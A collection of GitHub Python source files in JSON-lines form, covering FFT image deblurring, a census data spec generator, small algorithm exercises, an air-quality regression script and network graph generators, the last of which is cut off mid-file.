+{"seq_id":"3534465716","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTakes a data set corresponding to a blurred image and deconvolves it using \nfourier transforms and a Gaussian point spread function to produce a clearer\nimage.\n\nCreated on Wed Oct 10 09:38:31 2018\n@author: Pierino Zindel\n\"\"\"\n\n#import libraries and functions\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom numpy.fft import rfft2, irfft2\n\n#define Gaussian point spread function\ndef Gaussian(x,y,sigma):\n    return np.exp(-(x**2 + y**2)/(2.0*sigma**2))\n\n#read in blurred data file\nsource_file = \"blur.txt\"\nwith open(source_file) as file:\n    data = np.array([[float(digit) for digit in line.split()] for line in file])\n    \n#create density plot of blurred data\nplt.figure()\nplt.imshow(data, cmap='gray')\nbar = plt.colorbar()\nbar.set_label(\"greyscale\")\nplt.title(\"Blurry image\")\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.savefig(\"images/blurred_image.png\", dpi=600)\nplt.show()\n\n#define variables for spread function computation\nN = len(data)\nM = len(data[0])\ngauss_grid = np.empty([N,M])\nsigma = 25\n\n#compute spread function for each point in the image\nfor i in range(N):\n    x = i\n    if x > N/2:\n        x -= N\n    for j in range(M):\n        y = j\n        if y > M/2:\n            y -= M        \n        gauss_grid[i,j] = Gaussian(x,y,sigma)\n\n#create density plot of spread function\nplt.figure()\nplt.imshow(gauss_grid, cmap='gray')\nbar = plt.colorbar()\nbar.set_label(\"brightness\")\nplt.title(\"Gaussian point spread function\")\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.savefig(\"images/spread_function.png\", dpi=600)\nplt.show()\n\n#fourier transform the data and spread function\ndata_fft = rfft2(data)\ngauss_fft = rfft2(gauss_grid)\n\n#define variables for computed fft of deconvolved image\nJ = len(gauss_fft)\nK = len(gauss_fft[0])\nepsilon = 1e-3\nsharp_data_fft = np.zeros((J,K), dtype=np.complex_)\n\n#apply spread function to data to retrieve fft of deconvolved image\nfor i in range(J):\n    for j in range(K):\n        if gauss_fft[i,j] > epsilon:\n            sharp_data_fft[i,j] = data_fft[i,j]/gauss_fft[i,j]/J/K\n        else:\n            sharp_data_fft[i,j] = data_fft[i,j]/J/K\n\n#apply inverse fourier transform to retrieve clear image data\nsharp_data = irfft2(sharp_data_fft)\n\n#create density plot of deconvolved image\nplt.figure()\nplt.imshow(sharp_data, cmap='gray')\nbar = plt.colorbar()\nbar.set_label(\"greyscale\")\nplt.title(\"Deconvolved imgae\")\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.savefig(\"images/deconvolved_image.png\", dpi=600)\nplt.show()\n","repo_name":"hjohnson1701/PHY407","sub_path":"Lab05/Lab05_Q2.py","file_name":"Lab05_Q2.py","file_ext":"py","file_size_in_byte":2461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41711868382","text":"import json\nimport os\nfrom absl import app\nfrom absl import flags\n\nfrom .common_util import columns_from_zip_file, token_in_list_ignore_case, get_tokens_list_from_column_list\nfrom .acs_spec_validator import find_columns_with_no_properties, find_missing_tokens\nfrom .datacommons_api_wrappers.datacommons_wrappers import fetch_dcid_properties_enums\n\n_SCRIPT_PATH = os.path.dirname(os.path.abspath(__file__))\n_FLAGS = flags.FLAGS\n\nflags.DEFINE_string('generator_output', os.path.join(_SCRIPT_PATH, 'output'),\n                    'Path to store the output files')\nflags.DEFINE_boolean(\n    'create_union_spec', False,\n    'Produce union_spec.json which had combination of all previous specs')\nflags.DEFINE_boolean(\n    'guess_new_spec', False,\n    'Produces a guessed spec from zip file and specs from the spec_dir folder')\nflags.DEFINE_boolean('get_combined_property_list', False,\n                     'Get list of properties available in previous specs')\n\nflags.DEFINE_boolean('check_metadata', False,\n                     'Parses the metadata files in zip rather than data files')\n\nflags.DEFINE_list('expected_populations', ['Person'],\n                  'List of expected population types')\nflags.DEFINE_list('expected_properties', [], 'list of expected properties')\n\n\ndef get_spec_list() -> list:\n    # data/scripts/us_census/acs5yr/subject_tables\n    spec_dir = os.path.join(_SCRIPT_PATH, '..')\n\n    spec_list = []\n    # read all spec files in subject table folders\n    for directory in sorted(os.listdir(spec_dir)):\n        directory_path = os.path.join(spec_dir, directory)\n        if os.path.isdir(directory_path):\n            table_dir = os.path.join(spec_dir, directory)\n            for filename in os.listdir(table_dir):\n                if filename.endswith('_spec.json'):\n                    spec_file = os.path.join(table_dir, filename)\n                    with open(spec_file, 'r') as fp:\n                        spec_list.append(json.load(fp))\n    return spec_list\n\n\n# create megaspec\ndef create_combined_spec(all_specs: list,\n                         output_path: str = '../output/') -> dict:\n    \"\"\"Creates a union of all specs provided in the list.\n    NOTE: XXXXX is placed at places where some manual resolution is required.\n    \n    Args:\n      all_specs: List of specs whose union is to be computed.\n\n    Returns:\n      Dict object of the union spec.\n  \"\"\"\n    output_path = os.path.expanduser(output_path)\n    if not os.path.exists(output_path):\n        os.makedirs(output_path, exist_ok=True)\n\n    out_spec = {}\n    out_spec['populationType'] = {}\n    out_spec['measurement'] = {}\n    out_spec['enumSpecializations'] = {}\n    out_spec['pvs'] = {}\n    out_spec['inferredSpec'] = {}\n    out_spec['universePVs'] = []\n    out_spec['ignoreColumns'] = []\n    out_spec['ignoreTokens'] = []\n\n    for cur_spec in all_specs:\n        out_spec['populationType']['_DEFAULT'] = 'Person XXXXX'\n        if 'populationType' in cur_spec:\n            for population_token in cur_spec['populationType']:\n                if not population_token.startswith('_'):\n                    if population_token not in out_spec['populationType']:\n                        out_spec['populationType'][population_token] = cur_spec[\n                            'populationType'][population_token]\n                    elif out_spec['populationType'][\n                            population_token] != cur_spec['populationType'][\n                                population_token]:\n                        new_token = population_token + ' XXXXX'\n                        temp_flag = True\n                        i = 2\n                        while new_token in out_spec['populationType']:\n                            if out_spec['populationType'][\n                                    new_token] == cur_spec['populationType'][\n                                        population_token]:\n                                temp_flag = False\n                            new_token += str(i)\n                            i += 1\n                        if temp_flag:\n                            out_spec['populationType'][new_token] = cur_spec[\n                                'populationType'][population_token]\n\n        out_spec['measurement']['_DEFAULT'] = {\n            'measuredProperty': 'count XXXXX',\n            'statType': 'measuredValue'\n        }\n        if 'measurement' in cur_spec:\n            for measurement_token in cur_spec['measurement']:\n                if not measurement_token.startswith('_'):\n                    if measurement_token not in out_spec['measurement']:\n                        out_spec['measurement'][measurement_token] = {}\n                        out_spec['measurement'][measurement_token].update(\n                            cur_spec['measurement'][measurement_token])\n                    elif out_spec['measurement'][measurement_token] != cur_spec[\n                            'measurement'][measurement_token]:\n                        new_token = measurement_token + ' XXXXX'\n                        temp_flag = True\n                        i = 2\n                        while new_token in out_spec['measurement']:\n                            if out_spec['measurement'][new_token] == cur_spec[\n                                    'measurement'][measurement_token]:\n                                temp_flag = False\n                            new_token += str(i)\n                            i += 1\n                        if temp_flag:\n                            out_spec['measurement'][new_token] = cur_spec[\n                                'measurement'][measurement_token]\n\n        if 'enumSpecializations' in cur_spec:\n            for enum_token in cur_spec['enumSpecializations']:\n                if not enum_token.startswith('_'):\n                    if enum_token not in out_spec['enumSpecializations']:\n                        out_spec['enumSpecializations'][enum_token] = cur_spec[\n                            'enumSpecializations'][enum_token]\n                    elif out_spec['enumSpecializations'][\n                            enum_token] != cur_spec['enumSpecializations'][\n                                enum_token]:\n                        print('Error:', enum_token,\n                              'already assigned to enumSpecialization',\n                              out_spec['enumSpecializations'][enum_token],\n                              'new value:',\n                              cur_spec['enumSpecializations'][enum_token])\n\n        for property_name in cur_spec['pvs']:\n            if property_name not in out_spec['pvs']:\n                out_spec['pvs'][property_name] = {}\n            for property_token in cur_spec['pvs'][property_name]:\n                if property_token not in out_spec['pvs'][property_name]:\n                    out_spec['pvs'][property_name][property_token] = cur_spec[\n                        'pvs'][property_name][property_token]\n                elif out_spec['pvs'][property_name][property_token] != cur_spec[\n                        'pvs'][property_name][property_token]:\n                    new_token = property_token + ' XXXXX'\n                    temp_flag = True\n                    i = 2\n                    while new_token in out_spec['pvs'][property_name]:\n                        if out_spec['pvs'][property_name][\n                                new_token] == cur_spec['pvs'][property_name][\n                                    property_token]:\n                            temp_flag = False\n                        new_token += str(i)\n                        i += 1\n                    if temp_flag:\n                        out_spec['pvs'][property_name][new_token] = cur_spec[\n                            'pvs'][property_name][property_token]\n\n        if 'inferredSpec' in cur_spec:\n            for property_name in cur_spec['inferredSpec']:\n                if property_name not in out_spec['inferredSpec']:\n                    out_spec['inferredSpec'][property_name] = {}\n                    out_spec['inferredSpec'][property_name].update(\n                        cur_spec['inferredSpec'][property_name])\n                else:\n                    cur_spec['inferredSpec'][property_name] = {}\n                    for dependent_prop in cur_spec['inferredSpec'][\n                            property_name]:\n                        if dependent_prop not in out_spec['inferredSpec'][\n                                property_name]:\n                            out_spec['inferredSpec'][property_name][\n                                dependent_prop] = cur_spec['inferredSpec'][\n                                    property_name][dependent_prop]\n                        elif out_spec['inferredSpec'][property_name][\n                                dependent_prop] != cur_spec['inferredSpec'][\n                                    property_name][dependent_prop]:\n                            new_token = dependent_prop + ' XXXXX'\n                            temp_flag = True\n                            i = 2\n                            while new_token in out_spec['inferredSpec'][\n                                    property_name]:\n                                if out_spec['inferredSpec'][property_name][\n                                        new_token] == cur_spec['inferredSpec'][\n                                            property_name][dependent_prop]:\n                                    temp_flag = False\n                                new_token += str(i)\n                                i += 1\n                            if temp_flag:\n                                out_spec['inferredSpec'][property_name][\n                                    new_token] = cur_spec['inferredSpec'][\n                                        property_name][dependent_prop]\n\n        # add universePVs\n        if 'universePVs' in cur_spec:\n            for cur_universe in cur_spec['universePVs']:\n                if cur_universe not in out_spec['universePVs']:\n                    out_spec['universePVs'].append(cur_universe)\n\n        if 'ignoreColumns' in cur_spec:\n            for column_name in cur_spec['ignoreColumns']:\n                if column_name not in out_spec['ignoreColumns']:\n                    out_spec['ignoreColumns'].append(column_name)\n\n        if 'ignoreTokens' in cur_spec:\n            for cur_token in cur_spec['ignoreTokens']:\n                if cur_token not in out_spec['ignoreTokens']:\n                    out_spec['ignoreTokens'].append(cur_token)\n\n    union_spec_path = os.path.join(output_path, 'union_spec.json')\n    with open(union_spec_path, 'w') as fp:\n        json.dump(out_spec, fp, indent=2)\n\n    return out_spec\n\n\ndef columns_from_zip_list(zip_path_list: list,\n                          check_metadata: bool = False) -> list:\n    \"\"\"Compiles a list of all unique column names that are present in a given zip file.\n\n    Args:\n      zip_path_list: List of zip files to be scanned.\n      check_metadata: Boolean value to scan 'metadata' or 'data_overlay' files in the zip.\n\n    Retuens:\n      List of strings where each string is a unique column name present in the zip files.\n  \"\"\"\n    all_columns = []\n    for zip_path in zip_path_list:\n        zip_path = os.path.expanduser(zip_path)\n        all_columns.extend(\n            columns_from_zip_file(zip_path, check_metadata=check_metadata))\n    all_columns = list(set(all_columns))\n    return all_columns\n\n\n# go through megaspec creating output and discarded spec\ndef create_new_spec(all_columns: list,\n                    union_spec: dict,\n                    expected_populations: list = ('Person',),\n                    expected_pvs: list = (),\n                    output_path: str = '../output/',\n                    delimiter: str = '!!') -> dict:\n    \"\"\"Creates a speculative JSON spec from expected populations, properties and union spec.\n    NOTE: XXXXX is placed at places where it some manual resolution is required.\n    \n    Args:\n      all_columns: List of strings where each string is a unique column name present in the zip files.\n      union_spec: Spec version of union of previous specs.\n      expected_populations: List of populations expected to be in the output spec.\n      expected_pvs: List of properties expected to be in the output spec.\n      output_path: Path to store the output spec and intermediate files.\n      delimiter: delimiter seperating tokens within single column name string.\n\n    Returns:\n      Dict object of the union spec.\n  \"\"\"\n\n    output_path = os.path.expanduser(output_path)\n    if not os.path.exists(output_path):\n        os.makedirs(output_path, exist_ok=True)\n\n    all_tokens = get_tokens_list_from_column_list(all_columns, delimiter)\n\n    out_spec = {}\n    # assign expected_population[0] to default if present\n    out_spec['populationType'] = {}\n    out_spec['measurement'] = {}\n    out_spec['enumSpecializations'] = {}\n    out_spec['pvs'] = {}\n    out_spec['inferredSpec'] = {}\n    out_spec['universePVs'] = []\n    out_spec['denominators'] = {}\n    out_spec['ignoreColumns XXXXX'] = []\n    out_spec['ignoreTokens XXXXX'] = []\n\n    discarded_spec = {}\n    discarded_spec['populationType'] = {}\n    discarded_spec['measurement'] = {}\n    discarded_spec['enumSpecializations'] = {}\n    discarded_spec['pvs'] = {}\n    discarded_spec['inferredSpec'] = {}\n    discarded_spec['universePVs'] = []\n    discarded_spec['denominators'] = {}\n    discarded_spec['ignoreColumns'] = []\n    discarded_spec['ignoreTokens'] = []\n\n    for population_token in union_spec['populationType']:\n        if population_token.startswith('_'):\n            out_spec['populationType'][population_token] = union_spec[\n                'populationType'][population_token]\n        elif token_in_list_ignore_case(population_token, all_tokens):\n            out_spec['populationType'][population_token] = union_spec[\n                'populationType'][population_token]\n        elif 'XXXXX' in population_token:\n            if token_in_list_ignore_case(\n                    population_token[:population_token.find('XXXXX') - 1],\n                    all_tokens):\n                out_spec['populationType'][population_token] = union_spec[\n                    'populationType'][population_token]\n        else:\n            discarded_spec['populationType'][population_token] = union_spec[\n                'populationType'][population_token]\n\n    out_spec['populationType'] = {'_DEFAULT': expected_populations[0]}\n\n    for i, new_population in enumerate(expected_populations):\n        population_not_found = True\n        for population_token in out_spec['populationType']:\n            if out_spec['populationType'][population_token] == new_population:\n                population_not_found = False\n        if population_not_found:\n            out_spec['populationType']['XXXXX' + str(i)] = new_population\n\n    for measurement_token in union_spec['measurement']:\n        if measurement_token.startswith('_'):\n            out_spec['measurement'][measurement_token] = union_spec[\n                'measurement'][measurement_token]\n        elif token_in_list_ignore_case(measurement_token, all_tokens):\n            out_spec['measurement'][measurement_token] = union_spec[\n                'measurement'][measurement_token]\n        elif measurement_token in all_columns:\n            out_spec['measurement'][measurement_token] = union_spec[\n                'measurement'][measurement_token]\n        elif 'XXXXX' in measurement_token:\n            if token_in_list_ignore_case(\n                    measurement_token[:measurement_token.find('XXXXX') - 1],\n                    all_tokens):\n                out_spec['measurement'][measurement_token] = union_spec[\n                    'measurement'][measurement_token]\n        else:\n            discarded_spec['measurement'][measurement_token] = union_spec[\n                'measurement'][measurement_token]\n\n    for enum_token in union_spec['enumSpecializations']:\n        if token_in_list_ignore_case(enum_token, all_tokens):\n            out_spec['enumSpecializations'][enum_token] = union_spec[\n                'enumSpecializations'][enum_token]\n        else:\n            discarded_spec['enumSpecializations'][enum_token] = union_spec[\n                'enumSpecializations'][enum_token]\n\n    for prop in union_spec['pvs']:\n        for property_token in union_spec['pvs'][prop]:\n            if token_in_list_ignore_case(property_token, all_tokens):\n                if prop not in out_spec['pvs']:\n                    out_spec['pvs'][prop] = {}\n                out_spec['pvs'][prop][property_token] = union_spec['pvs'][prop][\n                    property_token]\n            elif 'XXXXX' in property_token:\n                if token_in_list_ignore_case(\n                        property_token[:property_token.find('XXXXX') - 1],\n                        all_tokens):\n                    out_spec['pvs'][prop][property_token] = union_spec['pvs'][\n                        prop][property_token]\n            else:\n                if prop not in discarded_spec['pvs']:\n                    discarded_spec['pvs'][prop] = {}\n                discarded_spec['pvs'][prop][property_token] = union_spec['pvs'][\n                    prop][property_token]\n\n    for prop in union_spec['inferredSpec']:\n        if prop in out_spec['pvs']:\n            out_spec['inferredSpec'].update(\n                {prop: union_spec['inferredSpec'][prop]})\n        else:\n            discarded_spec['inferredSpec'].update(\n                {prop: union_spec['inferredSpec'][prop]})\n\n    for cur_universe in union_spec['universePVs']:\n        population_flag = False\n        for population_token in out_spec['populationType']:\n            if out_spec['populationType'][population_token] == cur_universe[\n                    'populationType']:\n                population_flag = True\n\n        property_flag = True\n        cprops = cur_universe.get('constraintProperties', None)\n        if cprops is not None:\n            for property_name in cprops:\n                if property_name not in out_spec['pvs']:\n                    property_flag = False\n\n        if property_flag and population_flag:\n            out_spec['universePVs'].append(cur_universe)\n        else:\n            discarded_spec['universePVs'].append(cur_universe)\n\n    # ignoreColumns\n    for token_name in union_spec['ignoreColumns']:\n        if token_in_list_ignore_case(token_name,\n                                     all_tokens) or token_name in all_columns:\n            if token_name not in out_spec['ignoreColumns XXXXX']:\n                out_spec['ignoreColumns XXXXX'].append(token_name)\n        else:\n            discarded_spec['ignoreColumns'].append(token_name)\n\n    # ignoreTokens\n    for token_name in union_spec['ignoreTokens']:\n        if token_in_list_ignore_case(token_name,\n                                     all_tokens) or token_name in all_columns:\n            if token_name not in out_spec['ignoreTokens XXXXX']:\n                out_spec['ignoreTokens XXXXX'].append(token_name)\n        else:\n            discarded_spec['ignoreTokens'].append(token_name)\n\n    dc_props = {}\n    for population_dcid in expected_populations:\n        dc_props[population_dcid] = fetch_dcid_properties_enums(population_dcid)\n\n    # add missing properties from expected properties\n    for property_name in expected_pvs:\n        if property_name not in out_spec['pvs']:\n            out_spec['pvs'][property_name] = {}\n            # fetch values from dc if present\n        for population_name in dc_props:\n            if property_name in dc_props[population_name]:\n                if dc_props[population_name][property_name]:\n                    for i, enum_value in enumerate(\n                            dc_props[population_name][property_name]):\n                        out_spec['pvs'][property_name]['XXXXX' +\n                                                       str(i)] = enum_value\n            # TODO guess token if possible\n\n    # print columns with no pv assignment\n    columns_missing_pv = find_columns_with_no_properties(all_columns, out_spec)\n    columns_missing_pv = list(set(columns_missing_pv))\n    # print('---------------------')\n    # print('columns missing pv')\n    # print('---------------------')\n    # print(columns_missing_pv)\n\n    # missing tokens\n    print('---------------------')\n    print('missing tokens')\n    print('---------------------')\n    missing_tokens = find_missing_tokens(all_tokens, out_spec)\n    print(json.dumps(missing_tokens, indent=2))\n\n    # write to output files\n    with open(os.path.join(output_path, 'generated_spec.json'), 'w') as fp:\n        json.dump(out_spec, fp, indent=2)\n    with open(os.path.join(output_path, 'discarded_spec_parts.json'),\n              'w') as fp:\n        json.dump(discarded_spec, fp, indent=2)\n\n    # write missing reports to file\n    with open(os.path.join(output_path, 'missing_report.json'), 'w') as fp:\n        json.dump(\n            {\n                'columns_missing_pv': columns_missing_pv,\n                'missing_tokens': missing_tokens\n            },\n            fp,\n            indent=2)\n\n    return out_spec\n\n\ndef main(argv):\n    combined_spec_out = create_combined_spec(get_spec_list(),\n                                             _FLAGS.generator_output)\n\n    if _FLAGS.create_union_spec:\n        print(json.dumps(combined_spec_out, indent=2))\n    if _FLAGS.get_combined_property_list:\n        print(\n            json.dumps(sorted(list(combined_spec_out['pvs'].keys())), indent=2))\n    if _FLAGS.guess_new_spec:\n        if not _FLAGS.zip_list and not _FLAGS.column_list_path:\n            print(\n                'ERROR: zip file/s or column list required to guess the new spec'\n            )\n        else:\n            if _FLAGS.column_list_path:\n                all_columns = json.load(\n                    open(os.path.expanduser(_FLAGS.column_list_path), 'r'))\n                guess_spec = create_new_spec(all_columns, combined_spec_out,\n                                             _FLAGS.expected_populations,\n                                             _FLAGS.expected_properties,\n                                             _FLAGS.generator_output,\n                                             _FLAGS.delimiter)\n                print(json.dumps(guess_spec, indent=2))\n            if _FLAGS.zip_list:\n                all_columns = columns_from_zip_list(_FLAGS.zip_list,\n                                                    _FLAGS.check_metadata)\n                guess_spec = create_new_spec(all_columns, combined_spec_out,\n                                             _FLAGS.expected_populations,\n                                             _FLAGS.expected_properties,\n                                             _FLAGS.generator_output,\n                                             _FLAGS.delimiter)\n                print(json.dumps(guess_spec, indent=2))\n\n\nif __name__ == '__main__':\n    flags.mark_bool_flags_as_mutual_exclusive(\n        ['create_union_spec', 'guess_new_spec', 'get_combined_property_list'],\n        required=True)\n    app.run(main)\n","repo_name":"datacommonsorg/data","sub_path":"scripts/us_census/acs5yr/subject_tables/common/acs_spec_generator.py","file_name":"acs_spec_generator.py","file_ext":"py","file_size_in_byte":22971,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"77"}
+{"seq_id":"13797157236","text":"arr = [1, 2, 2, 3, 5]\r\ns = [0] * 1000\r\n\r\n\r\ndef solution(arr):\r\n    i, j = 0, 0\r\n    m = 0\r\n    for i in range(len(arr)):\r\n        # s[arr[i] += 1 表示新增一个元素\r\n        s[arr[i]] += 1\r\n        while s[arr[i]] > 1:\r\n            # s[arr[j] -= 1 表示抛弃一个元素\r\n            s[arr[j]] -= 1\r\n            j += 1\r\n        m = max(m, i - j + 1)\r\n    return m\r\n\r\n\r\nprint(solution(arr))\r\n","repo_name":"sunzehui/MyCodebak","sub_path":"PythonCode/algorithm/最长连续不重复子序列.py","file_name":"最长连续不重复子序列.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33411034063","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr  6 22:31:39 2020\r\n\r\n@author: vishvesh\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\ndf = pd.read_excel('Data/Real-Data/real_combine.xlsx')\r\n\r\nsns.heatmap(df.isnull(),yticklabels=False, cbar=True, cmap='viridis')\r\n\r\ndf = df.dropna()\r\n\r\nX = df.iloc[:,1:7]\r\nY= df.iloc[:,0]\r\n\r\nX.isnull()\r\nY.isnull()\r\n\r\nsns.pairplot(df)\r\n\r\ndf.corr()\r\n\r\ncorrmat = df.corr()\r\ntop_corr_features = corrmat.index\r\nplt.figure(figsize=(20,20))\r\nsns.heatmap(df[top_corr_features].corr(), annot=True, cmap='RdYlGn')\r\n\r\ncorrmat.index\r\n\r\nfrom sklearn.ensemble import ExtraTreesRegressor\r\nmodel = ExtraTreesRegressor()\r\nmodel.fit(X,Y)\r\n\r\nprint(model.feature_importances_)\r\n\r\nfeat_importance = pd.Series(model.feature_importances_, index=X.columns)\r\nfeat_importance.nlargest(5).plot(kind='barh')\r\nplt.show()\r\n\r\nsns.distplot(Y)\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.3, random_state=0)\r\n\r\n##linear regression\r\nfrom sklearn import linear_model\r\nfrom sklearn import metrics\r\nlm = linear_model.LinearRegression()\r\nlm.fit(X_train, Y_train)\r\n\r\nlm.coef_\r\n\r\nlm.intercept_\r\n\r\nlm.score(X_train, Y_train)\r\nlm.score(X_test, Y_test)\r\n\r\nfrom sklearn.model_selection import cross_val_score\r\nscore=cross_val_score(lm,X,Y,cv=5)\r\nscore.mean()\r\n##to get coefficient of features\r\ncoeff_df = pd.DataFrame(lm.coef_,X.columns,columns=['Coefficient'])\r\ncoeff_df\r\n\r\nprediction=lm.predict(X_test)\r\n\r\nsns.distplot(Y_test-prediction)\r\n\r\nplt.scatter(Y_test, prediction)\r\n\r\n\r\nprint('MAE:', metrics.mean_absolute_error(prediction, Y_test))\r\nprint('MSE:',metrics.mean_squared_error(prediction, Y_test))\r\n\r\n##lasso\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn.linear_model import LinearRegression\r\n##to get mean from linear regression model\r\nlin_regressor = LinearRegression()\r\nmse = cross_val_score(lin_regressor,X,Y,scoring='neg_mean_squared_error',cv=5)\r\nmean_mse = np.mean(mse)\r\nprint(mean_mse)\r\n\r\nfrom sklearn.linear_model import Lasso\r\nfrom sklearn.model_selection import GridSearchCV\r\n\r\nlasso=Lasso()\r\nparameters={'alpha':[1e-15,1e-10,1e-8,1e-3,1e-2,1,5,10,20,30,35,40]}\r\nlasso_regressor=GridSearchCV(lasso,parameters,scoring='neg_mean_squared_error',cv=5)\r\n\r\nlasso_regressor.fit(X,Y)\r\n##gives best value of alpha\r\nprint(lasso_regressor.best_params_)\r\n##gives the best score\r\nprint(lasso_regressor.best_score_)\r\n\r\nprediction=lasso_regressor.predict(X_test)\r\n\r\nsns.distplot(Y_test-prediction)\r\n\r\nplt.scatter(Y_test, prediction)\r\nprint('MAE:', metrics.mean_absolute_error(prediction, Y_test))\r\nprint('MSE:',metrics.mean_squared_error(prediction, Y_test))","repo_name":"Vd1299/Air_quality_prediction_model","sub_path":"algo.py","file_name":"algo.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24860933664","text":"import sys\n\n\ndef threeFive(number):\n\n    \"\"\"Returns multiples of three and five as string\n\n    Args:\n        number(int): current loop value for the range between 1 and 100\n\n    Returns:\n        string: a string value representing the number value or a string if:\n        `Three` the number is just mutiple, `Five` the number is just multiple\n        of five and `ThreeFive` if the number is multiple of both three and\n        five.\n    \"\"\"\n\n    strNumber = ''\n\n    if (number % 3 is 0):\n        strNumber += \"Three\"\n\n    if (number % 5 is 0):\n        strNumber += \"Five\"\n\n    return strNumber if strNumber else str(number)\n\n\ndef main():\n    \"\"\"Loop from 1 to 100\"\"\"\n    for round in range(1, 100):\n        \"\"\"Print multiples as string\"\"\"\n        print(threeFive(round))\n\n\ndef init():\n    if __name__ == \"__main__\":\n        sys.exit(main())\n\ninit()\n","repo_name":"alvaropaco/py-three-five","sub_path":"module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39340194802","text":"\"\"\" File that builds the graphs with various parameters \"\"\"\n\n\nimport networkx as nx\nimport networkit as nk\nimport random \nimport math \nimport os \nimport bisect\nDIRNAME = os.path.dirname(__file__)\n\n# ================================================================================\n# =           Networkx graph creation techniques                                 =\n# ================================================================================\n\ndef ba_graph(N, m, seed=None):\n    \"\"\" Good parameters here:\n    GOOD PARAMETERS: [5, 10]\n    \"\"\"\n    return nx.barabasi_albert_graph(N, m, seed=seed)\n\n\ndef plc_graph(N, m, p, seed=None):\n    \"\"\" Good params ??? (probably like the random walk graph params)\"\"\"\n    return nx.powerlaw_cluster_graph(N, m, p, seed=seed)\n\n\ndef random_walk_graph(N, qe, qv, seed=None):\n    \"\"\" Good params:\n        [0.90, 0.23], [0.91, 0.94], [0.93, 0.99], [0.96, 0.90], [0.93, 0.98]\n    \"\"\"\n    G = nx.Graph()\n    G.add_edge(0, 1)\n    random.seed(seed)\n\n    def random_neighbor(G, v):\n        return random.choice(list(G.neighbors(v)))\n\n    def random_walk_add(G, i):\n        vlist = [random.randint(0, i - 1)]\n        G.add_edge(i, vlist[-1])\n        while random.random() < qe:\n            vlist.append(random_neighbor(G, vlist[-1]))\n        edges = [] \n        for v in set(vlist):\n            if random.random() < qv:\n                edges.append((i, v))\n        G.add_edges_from(edges)\n\n\n    for i in range(2, N):\n        random_walk_add(G, i)\n    return G\n\n\ndef watts_strogatz_graph(N, k, p, seed=None):\n    return nx.watts_strogatz_graph(N, k, p, seed=seed)\n\n\n\n\n\ndef forestFire_mod_burnProcedure(G, node1, node2, myDict, p):\n    \"\"\"\n    Helper function for forestFire_mod\n    Handles burning procedure recursively for the modified Forest Fire model\n    Recurive depth is handled by global variable 'limit'\n    \"\"\"\n    # Ensure recursion does not go too deep\n    global limit\n    limit += 1\n\n    if limit >= 5000:\n        return\n\n    # Generate a non-zero random floating point between 0 and 1\n    y = 0\n    while y == 0:\n        y = random.random()\n\n    # How many neighbors to \"burn\"\n    x = (int)(math.ceil((math.log10(y) / math.log10(p)) - 1))\n    burn = [] # Keep track of which neighbors to burn\n    nbors = list(G.neighbors(node1))\n\n    # No neighbors to burn\n    if len(nbors) == 0:\n        return G\n\n    # If there are fewer neighbors than needed to burn, burn all\n    elif len(nbors) <= x:\n        for i in range(0, len(nbors)):\n            if nbors[i] not in myDict:\n                burn.append(nbors[i])\n                myDict[nbors[i]] = nbors[i]\n\n    # Choose the 'x' amount of neighbors to burn\n    else:\n        for i in range(0, x):\n            a = random.randrange(0, len(nbors))\n            b = 0\n            for j in range(0, i):\n                while nbors[a] == burn[j] or (nbors[a] in myDict):\n                    a = random.randrange(0, len(nbors))\n                    if nbors[a] in myDict:\n                        b += 1\n                    if (len(nbors) - b) < x:\n                        break\n\n                if (len(nbors) - b) < x:\n                    break\n\n            if (len(nbors) - b) < x:\n                break\n\n            burn.append(nbors[a])\n            myDict[nbors[a]] = nbors[a]\n\n    # Burn\n    for i in range(0, len(burn)):\n        if burn[i] != node2:\n            G.add_edge(node2, burn[i])\n\n    # Repeat recursively\n    for i in range(0, len(burn)):\n        forestFire_mod_burnProcedure(G, burn[i], node2, myDict, p)\n\ndef forestFire_mod(n, p, seed=None):\n    \"\"\"\n    Generates a graph based on a modified Forest Fire model.\n\n    This is a modified version of the Forest Fire model\n    that creates undirected edges in the edge creation process.[1]\n\n    Input:\n        n = number of nodes in the graph (integer)\n        p = \"burn\" rate (floating point)\n    \n    Output:\n        nx.Graph()\n    \"\"\"\n    # Prepare graph\n    G = nx.Graph()\n    random.seed(seed)\n    nodeCounter = 0 # Tracks next available node ID\n\n    # Keep adding nodes until we have 'n' nodes\n    while nodeCounter < n:\n        # Recursion limit\n        global limit\n        limit = 0\n        target = nodeCounter\n        G.add_node(target)\n        nodeCounter = len(G) # Update next available nodeID\n\n        if nodeCounter == 1:\n            continue\n\n        # Select a random node from graph that is not the current 'target' node\n        randomNode = random.randrange(0, nodeCounter)\n\n        myDict = dict()\n        G.add_edge(randomNode, target)\n        myDict[randomNode] = randomNode\n\n        # Start burning\n        forestFire_mod_burnProcedure(G, randomNode, target, myDict, p)\n\n    return G\n\n\ndef nearestNeighbor_mod(n, u, k, seed=None):\n    \"\"\"\n    Generates a graph based on a modified Nearest Neighbor  model.\n\n    This is a modified version of the Nearest Neighbor model\n    that creates an undirected graph with power-law exponent\n    between 1.5 and 1.75, matching that of online social networks.\n    This is done so that each time a new node is added, k random\n    pairs of nodes in the connected component of the graph are connected. [1]\n\n    Input:\n        n = number of nodes in the graph (integer)\n        u = probability that determines if a new node is added or if a pair of 2 hop neighbors is connected (floating point)\n        k = each time a new node is added, k pairs of random nodes in the connected 